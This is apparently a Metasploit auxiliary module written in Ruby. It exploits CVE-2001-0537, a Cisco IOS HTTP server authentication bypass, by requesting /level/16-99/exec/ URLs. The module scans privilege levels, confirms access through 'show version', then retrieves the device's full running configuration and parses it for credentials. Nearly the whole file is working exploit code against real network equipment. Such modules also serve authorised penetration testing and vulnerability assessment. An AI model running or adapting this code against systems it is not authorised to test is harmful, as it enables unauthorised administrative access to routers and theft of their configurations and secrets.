metasploit-framework/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/http'
require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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# Exploit mixins should be called first
include Msf::Exploit::Remote::HttpClient
# Include Cisco utility methods
include Msf::Auxiliary::Cisco
# Scanner mixin should be near last
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Cisco IOS HTTP Unauthorized Administrative Access',
'Description' => %q{
This module exploits a vulnerability in the Cisco IOS HTTP Server.
By sending a GET request for "/level/num/exec/..", where num is between
16 and 99, it is possible to bypass authentication and obtain full system
control. IOS 11.3 -> 12.2 are reportedly vulnerable. This module
tested successfully against a Cisco 1600 Router IOS v11.3(11d).
},
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'Author' => [ 'patrick', 'hdm' ],
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'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '2936'],
[ 'CVE', '2001-0537'],
[ 'OSVDB', '578' ],
],
'DisclosureDate' => 'Jun 27 2001'))
end
def run_host(ip)
16.upto(99) do |level|
res = send_request_cgi({
'uri' => "/level/#{level}/exec/show/version/CR",
'method' => 'GET'
}, 20)
if res and res.body and res.body =~ /Cisco Internetwork Operating System Software/
print_good("#{rhost}:#{rport} Found vulnerable privilege level: #{level}")
report_vuln(
{
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => self.name,
:sname => ssl ? "https" : "http",
:info => "Module #{self.fullname} successfully accessed http://#{rhost}:#{rport}/level/#{level}/exec/show/version/CR",
:refs => self.references,
:exploited_at => Time.now.utc
}
)
res = send_request_cgi({
'uri' => "/level/#{level}/exec/show/config/CR",
'method' => 'GET'
}, 20)
if res and res.body and res.body =~ /<FORM METHOD([^\>]+)\>(.*)<\/FORM>/mi
config = $2.strip
print_good("#{rhost}:#{rport} Processing the configuration file...")
cisco_ios_config_eater(rhost, rport, config)
report_exploit(
{
:host => rhost,
:port => rport,
:name => self.name,
:sname => ssl ? "https" : "http",
:info => "Module #{self.fullname} successfully captured the configuration file:\n#{config}"
}
)
else
print_error("#{rhost}:#{rport} Error: could not retrieve the IOS configuration")
end
break
end
end
end
end